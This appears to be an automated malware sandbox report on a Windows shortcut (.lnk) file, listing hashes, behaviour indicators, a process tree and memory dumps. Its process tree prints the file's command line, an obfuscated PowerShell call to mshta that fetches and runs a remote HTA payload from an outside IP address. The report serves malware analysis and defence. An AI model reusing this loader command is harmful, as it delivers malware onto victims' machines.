2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
01/06/2024, 01:09

Target

2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07.lnk
Size

40KB
MD5

5056bcf2c4a723fb01fa6b136f8035b8
SHA1

595a4292dd04ebb2b41f3503b163728f4dfceba3
SHA256

2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07
SHA512

eafb0fc7f608fbdc9fad95e4f26ef5f5b6cb25785460605057b7a0df02e4afa38ddc26bd971dda62faf8b60e95bed5bdafc585948f0e2357aab3b9475fb7bace
SSDEEP

12:8MFm/3BVSXvk44X3ojsqzKtnWNm3cW+UcCsvXLCKeXCf/DWKDiN33YlNPeVnI:8l/BHYVKVWqV+/CW7C7Sf/naHKPeFI

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1916	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 1916	1244	cmd.exe	29
PID 1244 wrote to memory of 1916	1244	cmd.exe	29
PID 1244 wrote to memory of 1916	1244	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2d8905910a47b8b966165381193331c86b51446540585927701cfff7ff36ec07.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://198.23.201.89/warm/quote.hta'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1916

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1916-38-0x000007FEF639E000-0x000007FEF639F000-memory.dmp

Filesize
4KB

Download
memory/1916-39-0x000000001B820000-0x000000001BB02000-memory.dmp

Filesize
2.9MB

Download
memory/1916-40-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-41-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/1916-42-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-43-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-44-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-45-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-46-0x000007FEF60E0000-0x000007FEF6A7D000-memory.dmp

Filesize
9.6MB

Download